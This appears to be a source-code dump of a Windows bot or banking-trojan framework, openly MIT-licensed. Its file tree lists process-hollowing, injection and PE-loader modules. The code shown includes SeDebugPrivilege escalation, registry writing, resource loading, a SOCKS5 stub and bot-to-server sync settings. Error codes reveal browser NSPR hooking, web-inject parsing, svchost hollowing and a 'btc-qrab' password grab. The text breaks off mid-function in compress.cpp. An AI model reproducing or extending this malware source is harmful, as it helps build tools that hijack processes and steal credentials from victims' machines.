├── core ├── exception.cpp ├── exception.h ├── reg.h ├── priv.h ├── priv.cpp ├── core.h ├── resource.cpp ├── reg.cpp ├── threads.h ├── compress.cpp ├── resource.h ├── db.h ├── args.cpp ├── args.h ├── info.h ├── db.cpp ├── compress.h ├── core.cpp ├── threads.cpp ├── info.cpp └── pe.h ├── debug ├── console.cpp ├── stdin.cpp ├── error.cpp ├── assert.h ├── debug.h ├── error.h ├── debug.cpp ├── console.h └── stdin.h ├── net ├── socks5_server.cpp ├── socks5_server.h ├── ip_tools.h ├── ip_tools.cpp ├── proxy.h └── socket_lib_old_bound_io_thread.cpp ├── http ├── url.cpp ├── url.h └── net_download.h ├── external ├── asmlen.h ├── ssl.cpp ├── z.h └── ssl.h ├── inject ├── loader.h ├── hollow.h ├── spawn.cpp ├── spawn.h ├── inject.h ├── loader.cpp ├── hollow.cpp └── inject.cpp ├── crypt ├── ssl.cpp ├── ssl.h └── crypt.h ├── common ├── id.cpp ├── log.h ├── sync.cpp ├── types.h ├── sync.h ├── log.cpp ├── inline.h ├── fs.cpp ├── fs.h ├── id.h ├── inline.cpp └── mem.cpp ├── protocol └── bot_config.h ├── LICENSE ├── config.h └── import32.cpp /core/exception.cpp: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /core/exception.h: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /debug/console.cpp: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /net/socks5_server.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "socks5_server.h" -------------------------------------------------------------------------------- /debug/stdin.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "stdin.h" 4 | 5 | using namespace text_io; -------------------------------------------------------------------------------- /http/url.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "url.h" 4 | 5 | using namespace url_library; -------------------------------------------------------------------------------- /external/asmlen.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #pragma once 4 | 5 | void get_asm_len(DWORD* myiptr0, DWORD* osizeptr); -------------------------------------------------------------------------------- /core/reg.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | namespace reg { 4 | bool create_reg_string( HKEY hive, 5 | LPCSTR subkey, 6 | LPCSTR key_name, 7 | LPCSTR value); 8 | }; -------------------------------------------------------------------------------- /external/ssl.cpp: -------------------------------------------------------------------------------- 1 | // ssl.cpp 2 | 3 | #define _CRT_SECURE_NO_WARNINGS 4 | //#include "net/socket.h" 5 | #include "ssl.h" 6 | #include "z.h" 7 | 8 | //* PENDING: 9 | //* Certificate Chain 10 | 11 | static void nop() {} 12 | using namespace s_socket; 13 | 14 | -------------------------------------------------------------------------------- /inject/loader.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | namespace loader { 4 | 5 | // Checks header sanity 6 | bool check_pe_headers(LPVOID raw_pe, UINT raw_pe_size); 7 | 8 | // Loads into virtual space 9 | LPTHREAD_START_ROUTINE load_raw_into_virtual(LPVOID raw, UINT raw_size); 10 | 11 | // Resolves IAT 12 | VOID resolve_iat(LPVOID virtual_base); 13 | }; -------------------------------------------------------------------------------- /net/socks5_server.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "debug/debug.h" 4 | 5 | #pragma once 6 | 7 | namespace socks5_server { 8 | 9 | class socks5_instance { 10 | private: 11 | // Listener port 12 | WORD listen_port; 13 | 14 | public: 15 | socks5_instance(__in const WORD port) : 16 | listen_port(port) 17 | { 18 | #ifdef DEBUG_OUT 19 | DBGOUT("socks5_server: Starting listener on port %d\n", port); 20 | #endif 21 | 22 | 23 | 24 | } 25 | }; 26 | }; -------------------------------------------------------------------------------- /core/priv.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #ifndef CONFIG_OK 12 | #include "../config.h" 13 | #endif 14 | 15 | #ifdef CONFIG_COMPILE64 16 | #pragma message (OUTPUT_PRIMARY "priv: 64") 17 | #else 18 | #pragma message (OUTPUT_PRIMARY "priv: 32") 19 | #endif 20 | 21 | namespace priv { 22 | 23 | // Install priv 24 | bool init(types::DEFAULT_NO_PARAMETERS); 25 | 26 | } -------------------------------------------------------------------------------- /debug/error.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "error.h" 4 | #include "../api.h" 5 | #include "debug.h" 6 | 7 | VOID error::halt_dll(DWORD error_type, DWORD halt_code) 8 | { 9 | 10 | #ifdef DEBUG_OUT 11 | DBGOUT("error::halt_dll called with TYPE %08d, EXIT_CODE 0x%08x", error_type, halt_code); 12 | #endif 13 | 14 | switch (halt_code) 15 | { 16 | case error::HALT_EXITPROCESS: 17 | cExitProcess(0); 18 | case error::HALT_SLEEP: 19 | cSleep(INFINITE); 20 | case error::HALT_SUSPENDALL: 21 | break; 22 | } 23 | } -------------------------------------------------------------------------------- /net/ip_tools.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifdef CONFIG_COMPILE64 13 | #pragma message (OUTPUT_PRIMARY "IP Tools: Ready") 14 | #else 15 | #pragma message (OUTPUT_PRIMARY "IP Tools: Ready") 16 | #endif 17 | 18 | 19 | namespace ip_tools { 20 | // Returns true if the buffer is an ip address 21 | typedef struct { 22 | PCHAR octets[4]; 23 | } IP_ADDR_A, *PIP_ADDR_A; 24 | bool is_ip(__in LPCSTR name); 25 | }; -------------------------------------------------------------------------------- /crypt/ssl.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | 5 | #include "ssl.h" 6 | 7 | #include "openssl/bio.h" 8 | #include "openssl/ssl.h" 9 | #include "openssl/err.h" 10 | 11 | using namespace ssl; 12 | 13 | static bool init_status = false; 14 | bool ssl::init(types::DEFAULT_NO_PARAMETERS) 15 | { 16 | if (init_status == false) { 17 | 18 | SSL_load_error_strings(); 19 | SSL_library_init(); 20 | ERR_load_BIO_strings(); 21 | OpenSSL_add_all_algorithms(); 22 | 23 | init_status = true; 24 | return true; 25 | } 26 | 27 | return true; 28 | } -------------------------------------------------------------------------------- /common/id.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "id.h" 4 | 5 | using namespace id_info; 6 | 7 | DWORD id::get_dword(void) const 8 | { 9 | if (IdElements->size() != 4) { 10 | return 0; 11 | } 12 | 13 | /* 14 | if (this->dword_value == 0) { 15 | DWORD tmp = 0; 16 | UINT c = 0; 17 | for (std::vector::iterator i = IdElements->begin(); i != IdElements->end(); i++, c++) { 18 | 19 | tmp = *i | tmp; 20 | 21 | if (c == (sizeof(DWORD) - 1)) { 22 | break; 23 | } 24 | 25 | tmp = tmp << 8; 26 | } 27 | 28 | this->dword_value = tmp; 29 | } */ 30 | 31 | return this->dword_value; 32 | } -------------------------------------------------------------------------------- /debug/assert.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "../api.h" 4 | #include "debug.h" 5 | 6 | #pragma once 7 | 8 | //#define ASSERT_TERMINATE 9 | //#define ASSERT_NOTHING 10 | #define ASSERT_SLEEP 11 | 12 | #if defined(DEBUG_OUT) 13 | #ifdef ASSERT_TERMINATE 14 | #define ASSERT(expression, message) if (!(expression)) { MessageBoxA(NULL, message, "ASSERT", MB_OK); cExitProcess(0);} 15 | #elif ASSERT_NOTHING 16 | #define ASSERT(expression, message) if (!(expression)) { MessageBoxA(NULL, message, "ASSERT", MB_OK);} 17 | #endif 18 | #ifdef ASSERT_SLEEP 19 | #define ASSERT(expression, message) if (!(expression)) { MessageBoxA(NULL, message, "ASSERT", MB_OK); cSleep(INFINITE);} 20 | #endif 21 | #endif -------------------------------------------------------------------------------- /common/log.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../../_api/common/str.h" 3 | 4 | #pragma once 5 | 6 | namespace log_tools { 7 | typedef struct { 8 | LPSTR raw_data; 9 | UINT raw_data_size; 10 | str::PLINE first_line; 11 | } LOG_ENTRY, *PLOG_ENTRY; 12 | 13 | typedef struct log_item { 14 | LPSTR buffer; 15 | UINT size; 16 | 17 | SYSTEMTIME time; 18 | 19 | log_item *next; 20 | } LOG_ITEM, *PLOG_ITEM; 21 | 22 | // Initializes the logger class 23 | VOID init(VOID); 24 | 25 | }; 26 | 27 | using namespace log_tools; 28 | 29 | class logger { 30 | bool is_active; 31 | PLOG_ITEM first_item; 32 | 33 | public: 34 | VOID init(VOID); 35 | VOID logger::append_text(LPCSTR buffer, UINT length); 36 | 37 | }; 38 | 39 | logger *get_default_log(VOID); -------------------------------------------------------------------------------- /protocol/bot_config.h: -------------------------------------------------------------------------------- 1 | // Global configuration 2 | #pragma once 3 | 4 | // Disables syncing engine (debug only) 5 | //#define _CONFIG_SYNC_DB_DISABLE 6 | 7 | // Disables intial info packet; storage into info table 8 | //#define _CONFIG_INTIAL_INFO_DISABLE 9 | 10 | // The maximum module name length for the database sync id element 11 | #define _CONFIG_SYNC_DB_MAX_NAME_LEN 64 12 | 13 | // The maximum url length for the database sync id element 14 | #define _CONFIG_SYNC_DB_MAX_URL_LEN 64 15 | 16 | // Invalid sync id element value 17 | #define _CONFIG_SYNC_DB_INVALID_ID -1 18 | 19 | // Sync command timeout 20 | #define _CONFIG_SYNC_DB_TIMEOUT 10 // seconds 21 | 22 | // Timeout for info response 23 | #define _CONFIG_INFO_TIMEOUT 10 // seconds 24 | 25 | // Uses encryption for bot<->server connection 26 | #define _CONFIG_USE_ENCRYPTION 27 | 28 | // Disables bot info appended to SQL database 29 | #define _CONFIG_DISABLE_SQL_DATA -------------------------------------------------------------------------------- /crypt/ssl.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #ifndef CONFIG_OK 12 | #include "../config.h" 13 | #endif 14 | 15 | #include "openssl/bio.h" 16 | #include "openssl/ssl.h" 17 | #include "openssl/err.h" 18 | 19 | #include "net/socket.h" 20 | 21 | #ifdef CONFIG_COMPILE64 22 | #pragma message (OUTPUT_PRIMARY "ssl: Using OpenSSL 1.0.1g (64)") 23 | #else 24 | #pragma message (OUTPUT_PRIMARY "ssl: Using OpenSSL 1.0.1g (32)") 25 | #endif 26 | 27 | namespace ssl { 28 | 29 | // Initialze SSL 30 | bool init(types::DEFAULT_NO_PARAMETERS); 31 | 32 | // SSL Channel class 33 | class channel; 34 | 35 | class channel { 36 | private: 37 | socket_tools::socket_data *current_socket; 38 | 39 | bool is_ok; 40 | public: 41 | channel(__in socket_tools::socket_data *server_socket) : 42 | current_socket(server_socket), 43 | is_ok(false) 44 | { 45 | 46 | } 47 | }; 48 | } -------------------------------------------------------------------------------- /debug/debug.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef _WINDOWS_ 4 | #include 5 | #endif 6 | 7 | #include 8 | 9 | #ifndef CONFIG_OK 10 | #include "../config.h" 11 | #endif 12 | 13 | #ifndef DISABLE_LIBRARY_INFO 14 | #ifdef CONFIG_COMPILE64 15 | #pragma message (OUTPUT_PRIMARY "DEBUG MODE!") 16 | #else 17 | #pragma message (OUTPUT_PRIMARY "DEBUG MODE!") 18 | #endif 19 | #endif 20 | 21 | #define DEBUG_OUT 22 | #define DEBUG_PRINTF 23 | 24 | #if defined DEBUG_OUT 25 | #ifdef DEBUG_PRINTF 26 | #include 27 | #ifndef DISABLE_SECONDARY_OUTPUT 28 | #pragma message (OUTPUT_PRIMARY "Debug is routed to printf!") 29 | #endif 30 | #define DBGOUT printf 31 | #else 32 | #define DBGOUT debug::debug_print 33 | #ifndef DISABLE_SECONDARY_OUTPUT 34 | #pragma message (OUTPUT_PRIMARY "Debug is routed to debugprint!") 35 | #endif 36 | #endif 37 | #endif 38 | 39 | #ifndef D 40 | #define DP debug::debug_print 41 | #define D printf 42 | #endif 43 | 44 | #ifdef DEBUG_OUT 45 | namespace debug 46 | { 47 | //Ascii debug out 48 | VOID debug_print(LPCSTR FormatString, ...); 49 | }; 50 | #endif -------------------------------------------------------------------------------- /core/priv.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "priv.h" 4 | 5 | #include "api.h" 6 | #include "common/mem.h" 7 | 8 | using namespace priv; 9 | 10 | bool priv::init(types::DEFAULT_NO_PARAMETERS) 11 | { 12 | 13 | HANDLE token = INVALID_HANDLE_VALUE; 14 | BOOL open_token_status = OpenProcessToken(cGetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 15 | &token); 16 | if (open_token_status != TRUE) { 17 | return false; 18 | } 19 | 20 | LUID luid; 21 | BOOL lookup_status = LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid); 22 | if (lookup_status != TRUE) { 23 | cCloseHandle(token); 24 | return FALSE; 25 | } 26 | 27 | TOKEN_PRIVILEGES privileges; 28 | mem::zeromem(&privileges, sizeof(TOKEN_PRIVILEGES)); 29 | privileges.PrivilegeCount = 1; 30 | privileges.Privileges[0].Luid = luid; 31 | privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 32 | BOOL adjust_status = AdjustTokenPrivileges(token, FALSE, &privileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); 33 | if (adjust_status != TRUE) { 34 | cCloseHandle(token); 35 | return false; 36 | } 37 | 38 | cCloseHandle(token); 39 | return true; 40 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Stan Ruzin 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /common/sync.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | 6 | #include "sync.h" 7 | 8 | #include "api.h" 9 | 10 | using namespace sync; 11 | 12 | // Critical section 13 | critical_section::critical_section(types::DEFAULT_NO_PARAMETERS) 14 | { 15 | this->sync_object = (PCRITICAL_SECTION)mem::malloc(sizeof(CRITICAL_SECTION)); 16 | cInitializeCriticalSection(this->sync_object); 17 | 18 | this->object_ok = true; 19 | 20 | return; 21 | } 22 | 23 | critical_section::~critical_section(void) 24 | { 25 | if (this->sync_object != NULL) { 26 | mem::free_and_null((LPVOID *)this->sync_object); 27 | } 28 | } 29 | 30 | void critical_section::sync_enter(void) const 31 | { 32 | ASSERT(this->get_is_ok() != false, "sync: Invalid sync object"); 33 | 34 | cEnterCriticalSection(this->sync_object); 35 | 36 | return; 37 | } 38 | 39 | void critical_section::sync_leave(void) const 40 | { 41 | ASSERT(this->get_is_ok() != false, "sync: Invalid sync object"); 42 | 43 | cLeaveCriticalSection(this->sync_object); 44 | return; 45 | } 46 | 47 | PCRITICAL_SECTION critical_section::get_critical_section(void) const 48 | { 49 | return this->sync_object; 50 | } 51 | -------------------------------------------------------------------------------- /core/core.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef CONFIG_OK 4 | #include "../config.h" 5 | #endif 6 | 7 | #include 8 | 9 | #include 10 | 11 | #ifdef DO_NOT_EXIT_AFTER_FAILURE 12 | #ifndef DISABLE_SECONDARY_OUTPUT 13 | #pragma message (OUTPUT_PRIMARY "WARNING: Program will not terminate after EXIT(x)") 14 | #endif 15 | #endif 16 | 17 | #include "common/str.h" 18 | 19 | //void core::exit_process(__in const time_t timeout); 20 | #define EXIT exit_process 21 | void exit_process(__in const time_t timeout, __inopt const str_string& message); 22 | void exit_process(__in const time_t timeout); 23 | void exit_process(__in const time_t timeout, __inopt const LPSTR message); 24 | 25 | #define EXITTHREAD exit_thread 26 | void exit_thread(__in const time_t timeout, __inopt const str_string *message); 27 | 28 | namespace core { 29 | // Prevents multiple instances from running at the same time 30 | bool check_event_single(__in str_string *event_name); 31 | 32 | static std::vector handle_array; 33 | bool set_event_single(__in str_string *event_name); 34 | 35 | // Datetime 36 | //typedef str_string *time_string; 37 | //typedef struct tm *timedata; 38 | struct tm *get_timedata(void); 39 | 40 | str_string *get_timestring(__in const struct tm *data); 41 | 42 | }; 43 | 44 | -------------------------------------------------------------------------------- /core/resource.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "resource.h" 4 | 5 | #include "api.h" 6 | #include "common/mem.h" 7 | #include "common/inline.h" 8 | 9 | using namespace resource; 10 | 11 | resource::instance::instance(__in const LPSTR name, __in const WORD id) 12 | { 13 | this->Name = new str_string(name); 14 | this->id = id; 15 | this->RawData = NULL; 16 | 17 | this->Handles = new handles(); 18 | 19 | this->current_module = get_local_dll_base(); 20 | if (this->current_module == NULL) { 21 | return; 22 | } 23 | 24 | this->Handles->resource_handle = cFindResourceA(this->current_module, MAKEINTRESOURCE(id), this->Name->to_lpstr()); 25 | if (this->Handles->resource_handle == NULL) { 26 | return; 27 | } 28 | 29 | this->Handles->global_handle = cLoadResource(this->current_module, this->Handles->resource_handle); 30 | if (this->Handles->global_handle == NULL) { 31 | return; 32 | } 33 | 34 | //cLockResource(this->Handles->global_handle); 35 | 36 | this->RawData = new mem::buffer2((const LPVOID)this->Handles->global_handle, 37 | cSizeofResource(this->current_module, this->Handles->resource_handle)); 38 | 39 | return; 40 | } 41 | 42 | void resource::instance::add_null(types::DEFAULT_NO_PARAMETERS) 43 | { 44 | this->RawData->append_null(); 45 | } -------------------------------------------------------------------------------- /net/ip_tools.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "ip_tools.h" 4 | #include "../../_api/common/mem.h" 5 | #include "../../_api/common/str.h" 6 | 7 | using namespace ip_tools; 8 | 9 | bool ip_tools::is_ip(__in LPCSTR name) 10 | { 11 | IP_ADDR_A address; 12 | mem::zeromem(&address, sizeof(IP_ADDR_A)); 13 | PCHAR ptr = (PCHAR)name; 14 | for (UINT i = 0; i <= 3; i++) { 15 | PCHAR end = ptr; 16 | while (*end != '.') { 17 | if (*end == '\0') { 18 | if (i == 3) { 19 | break; 20 | } 21 | i = 0; 22 | while (address.octets[i] != NULL) { 23 | mem::free(address.octets[i]); 24 | i++; 25 | } 26 | return false; 27 | } 28 | end++; 29 | } 30 | address.octets[i] = (PCHAR)mem::malloc((DWORD_PTR)end - (DWORD_PTR)ptr + str::ASCII_CHAR); 31 | mem::copy(address.octets[i], ptr, (DWORD_PTR)((DWORD_PTR)end - (DWORD_PTR)ptr)); 32 | if (*end == '\0') break; 33 | ptr = &end[str::ASCII_CHAR]; 34 | } 35 | 36 | for (UINT i = 0; i < 4; i++) { 37 | if (str::is_digitA(address.octets[i], str::lenA(address.octets[i])) == false) { 38 | for (i = 0; i < 4; i++) { 39 | mem::free(address.octets[i]); 40 | } 41 | return false; 42 | } 43 | } 44 | 45 | for (UINT i = 0; i < 4; i++) { 46 | mem::free(address.octets[i]); 47 | } 48 | 49 | return true; 50 | } -------------------------------------------------------------------------------- /external/z.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef _Z_H 4 | #define _Z_H 5 | 6 | // Z template class 7 | template class Z 8 | { 9 | private: 10 | 11 | T* d; 12 | unsigned int ss; 13 | 14 | public: 15 | 16 | Z(int s = 0) 17 | { 18 | if (!s) 19 | s = 1; 20 | d = new T[s]; 21 | memset(d,0,s*sizeof(T)); 22 | ss = s; 23 | } 24 | ~Z() 25 | { 26 | delete[] d; 27 | } 28 | 29 | operator T*() 30 | { 31 | return d; 32 | } 33 | 34 | void _clear() 35 | { 36 | ZeroMemory(d,ss*sizeof(T)); 37 | } 38 | void clear() 39 | { 40 | ZeroMemory(d,ss*sizeof(T)); 41 | } 42 | 43 | int bs() 44 | { 45 | return ss*sizeof(T); 46 | } 47 | 48 | int is() 49 | { 50 | return ss; 51 | } 52 | 53 | void Resize(unsigned int news) 54 | { 55 | if (news == ss) 56 | return; // same size 57 | 58 | // Create buffer to store existing data 59 | T* newd = new T[news]; 60 | int newbs = news*sizeof(T); 61 | ZeroMemory((void*)newd, newbs); 62 | 63 | if (ss < news) 64 | // we created a larger data structure 65 | memcpy((void*)newd,d,ss*sizeof(T)); 66 | else 67 | // we created a smaller data structure 68 | memcpy((void*)newd,d,news*sizeof(T)); 69 | delete[] d; 70 | d = newd; 71 | ss = news; 72 | } 73 | 74 | void AddResize(int More) 75 | { 76 | Resize(ss + More); 77 | } 78 | 79 | }; 80 | 81 | #endif 82 | 83 | -------------------------------------------------------------------------------- /common/types.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #ifndef _WINDOWS_ 6 | #include 7 | #endif 8 | 9 | #include 10 | 11 | #undef CONFIG_OK 12 | #ifndef CONFIG_OK 13 | #include "../config.h" 14 | #endif 15 | 16 | #ifdef CONFIG_COMPILE64 17 | #ifndef DISABLE_LIBRARY_INFO 18 | #pragma message ("Using 64-bit types") 19 | #else 20 | #pragma message ("Using 32-bit types") 21 | #endif 22 | #endif 23 | 24 | #define __interface__ __cdecl 25 | 26 | // Debug types 27 | #ifndef CONFIG_COMPILE64 28 | 29 | #undef BREAK 30 | #ifndef BREAK 31 | #define BREAK __asm{int 3} 32 | #endif 33 | 34 | #undef NOP 35 | #ifndef NOP 36 | #define NOP __asm{nop}; 37 | #endif 38 | 39 | #endif 40 | 41 | // Annotations 42 | #define __in_free __in // The class will free the parameter once the deconstructor is called 43 | 44 | 45 | 46 | namespace types { 47 | typedef DWORD OFFSET32; 48 | static const UINT offset_zero = 0; 49 | 50 | typedef DWORD ORDINAL32; 51 | 52 | static const DWORD PAGE_SIZE = 0x1000; 53 | 54 | typedef UINT TIME32; 55 | 56 | typedef void CORE_ENTRY_POINT; 57 | typedef UINT CORE_ENTRY_POINT_INTEGER; 58 | 59 | // Defines entry point datatypes 60 | typedef INT ENTRY_POINT; 61 | #define __oep_conv _cdecl 62 | typedef VOID DEFAULT_NO_PARAMETERS; 63 | 64 | // Return types 65 | typedef VOID NO_RETURN_VALUE; 66 | 67 | // Export types 68 | #define __oep_export_conv __declspec(dllexport) 69 | }; 70 | -------------------------------------------------------------------------------- /core/reg.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef _WINDOWS_ 3 | #include 4 | #endif 5 | 6 | #include 7 | 8 | #ifndef CONFIG_OK 9 | #include "../config.h" 10 | #endif 11 | 12 | #ifdef CONFIG_COMPILE64 13 | #pragma message (OUTPUT_PRIMARY "Registry API Loaded.") 14 | #else 15 | #pragma message (OUTPUT_PRIMARY "Registry API Loaded.") 16 | #endif 17 | 18 | #include "reg.h" 19 | #include "debug/error.h" 20 | //#include "../_api/common/mem.h" 21 | #include "common/str.h" 22 | 23 | using namespace reg; 24 | 25 | bool reg::create_reg_string( HKEY hive, 26 | LPCSTR subkey, 27 | LPCSTR key_name, 28 | LPCSTR value) 29 | { 30 | 31 | HKEY hive_handle; 32 | ERROR_CODE reg_status = RegOpenKeyExA( hive, 33 | NULL, 34 | 0, 35 | KEY_WRITE, 36 | &hive_handle); 37 | if (reg_status != ERROR_SUCCESS) { 38 | return false; 39 | } 40 | 41 | HKEY key_handle; 42 | reg_status = RegCreateKeyExA( hive_handle, 43 | subkey, 44 | 0, 45 | NULL, 46 | 0, 47 | KEY_WRITE, 48 | NULL, 49 | &key_handle, 50 | NULL); 51 | if (reg_status != ERROR_SUCCESS) { 52 | RegCloseKey(hive_handle); 53 | return false; 54 | } 55 | 56 | RegSetValueExA( key_handle, 57 | key_name, 58 | 0, 59 | REG_SZ, 60 | (const BYTE *)value, 61 | str::lenA(value) + str::ASCII_CHAR); 62 | 63 | RegCloseKey(key_handle); 64 | RegCloseKey(hive_handle); 65 | 66 | return true; 67 | } -------------------------------------------------------------------------------- /core/threads.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "api.h" 4 | #include "common/mem.h" 5 | 6 | #include "debug/error.h" 7 | #include "debug/debug.h" 8 | 9 | // Disables subroutine responsible for pausing all threads during NSPR patching 10 | #define DISABLE_THREADING 11 | 12 | #pragma once 13 | 14 | namespace thread_space 15 | { 16 | 17 | #define THREAD_ZEROMEM mem::zeromem 18 | #define THREAD_GETCURRENTPROCID cGetCurrentProcessId 19 | #define THREAD_GETCURRENTTHREADID cGetCurrentThreadId 20 | #define THREAD_GETSNAPSHOT cCreateToolhelp32Snapshot 21 | #define THREAD_THREAD32FIRST cThread32First 22 | #define THREAD_OPENTHREAD cOpenThread 23 | #define THREAD_CLOSEHANDLE cCloseHandle 24 | #define THREAD_SUSPENDTHREAD cSuspendThread 25 | #define THREAD_RESUMETHREAD cResumeThread 26 | #define THREAD_THREAD32NEXT cThread32Next 27 | 28 | #if !defined MAX_THREADS 29 | #define MAX_THREADS 1024 30 | #endif 31 | 32 | typedef INT THREAD_ERROR; 33 | 34 | enum { 35 | THREAD_ERROR_OK, 36 | THREAD_ERROR_FAIL 37 | }; 38 | 39 | enum state { 40 | THREADS_RUNNING, 41 | THREADS_SUSPENDED 42 | }; 43 | 44 | static const DWORD thread_init_state = 0xfefafcfd; 45 | 46 | // Use this for all remote calls 47 | THREAD_ERROR thread_switch(VOID); 48 | 49 | // Suspend or resume all threads 50 | //ERROR_CODE thread_suspend_resume_threads(VOID); 51 | 52 | // Initializes the thread component 53 | //VOID thread_init(VOID); 54 | 55 | // Internal 56 | //ERROR_CODE thread_control(BOOL suspend, INT thread_list[MAX_THREADS], PINT thread_count); 57 | }; 58 | 59 | -------------------------------------------------------------------------------- /debug/error.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #pragma once 4 | 5 | namespace error 6 | { 7 | #ifndef ERROR_CODE 8 | #define ERROR_CODE UINT 9 | #endif 10 | 11 | #define ERROR_IF_NULL(x, y, z) if (x == NULL) { error::halt_dll(y, z); } 12 | #define ERROR_IF_NOT_OK(x, y) if (x != error::ER_OK) { error::halt_dll(x, y); } 13 | 14 | enum { 15 | HALT_EXITPROCESS, 16 | HALT_SUSPENDALL, 17 | HALT_SLEEP 18 | }; 19 | 20 | // Default exit code 21 | static DWORD default_halt_code = HALT_SLEEP; 22 | 23 | enum { 24 | ER_OK, 25 | ER_FAKE_TEST, 26 | ER_GENERAL_FAILURE, 27 | ER_THREAD_HALT_RESUME, 28 | ER_MEM_ALLOC_FAILURE, 29 | ER_CREATE_EVENT_FAILURE, 30 | ER_SVCHOST_RUNNING, // we already have a hollowed SVCHOST 31 | ER_INJECT_FAILURE, 32 | ER_HEADER_ERROR, 33 | ER_NO_BROWSERS, 34 | ER_FS_READ, 35 | ER_HOLLOW_OK, 36 | ER_HOLLOW, 37 | ER_HOLLOW_PRETEST, 38 | ER_HOLLOW_CREATE_PROCESS, 39 | ER_HOLLOW_PE, 40 | ER_HOLLOW_ALLOC, 41 | ER_HOLLOW_WRITE, 42 | ER_HOLLOW_EP, 43 | ER_LOAD_DLL, 44 | ER_NSPR_HOOK, 45 | ER_FIND_NSPR_METHODS, 46 | ER_CONFIG_PARSER, 47 | ER_CONFIG_PARSER_DATA_BEFORE, 48 | ER_CONFIG_PARSER_DATA_AFTER, 49 | ER_CONFIG_PARSER_DATA_INJECT, 50 | ER_CORE_FIND_OPENTCPSOCKET, 51 | ER_SET_DYNAMIC_CONFIG, 52 | ER_WEB_CONFIG, 53 | ER_WININET_INIT, 54 | ER_WININET_SYNC, 55 | ER_WININET_PANIC, 56 | ER_INCORRECT_LOADED_DLL, // for some reason, the DLL was injected into the wrong process. 57 | ER_GET_KERNEL32 58 | }; 59 | 60 | // btc-qrab 61 | enum { 62 | ER_GET_PASS 63 | }; 64 | 65 | VOID halt_dll(DWORD error_type, DWORD halt_code); 66 | }; -------------------------------------------------------------------------------- /core/compress.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "compress.h" 4 | #include "external/miniz.h" 5 | #include "common/mem.h" 6 | 7 | using namespace compressor; 8 | 9 | bool zip_compress::process_data(__inout PUINT size) 10 | { 11 | unsigned char *decompressed_buffer = (unsigned char *)**this->RawData; 12 | mz_ulong compressed_size = miniz_compress_bound(this->RawData->get_raw_size()); 13 | if (compressed_size == 0) return false; 14 | 15 | unsigned char *compressed_buffer = (unsigned char *)mem::malloc(compressed_size); 16 | int zip_status = miniz_compress2(compressed_buffer, 17 | &compressed_size, 18 | decompressed_buffer, 19 | this->RawData->get_raw_size(), 20 | compressor::default_compression_level); 21 | if (zip_status != miniz_MZ_OK) { 22 | mem::free(compressed_buffer); 23 | return false; 24 | } 25 | 26 | *size = compressed_size; 27 | this->ProcessedData = new mem::buffer2(compressed_buffer, compressed_size); 28 | this->is_compressed = true; 29 | 30 | return true; 31 | } 32 | 33 | bool zip_decompress::process_data(__inout PUINT size) 34 | { 35 | this->decomp_len = 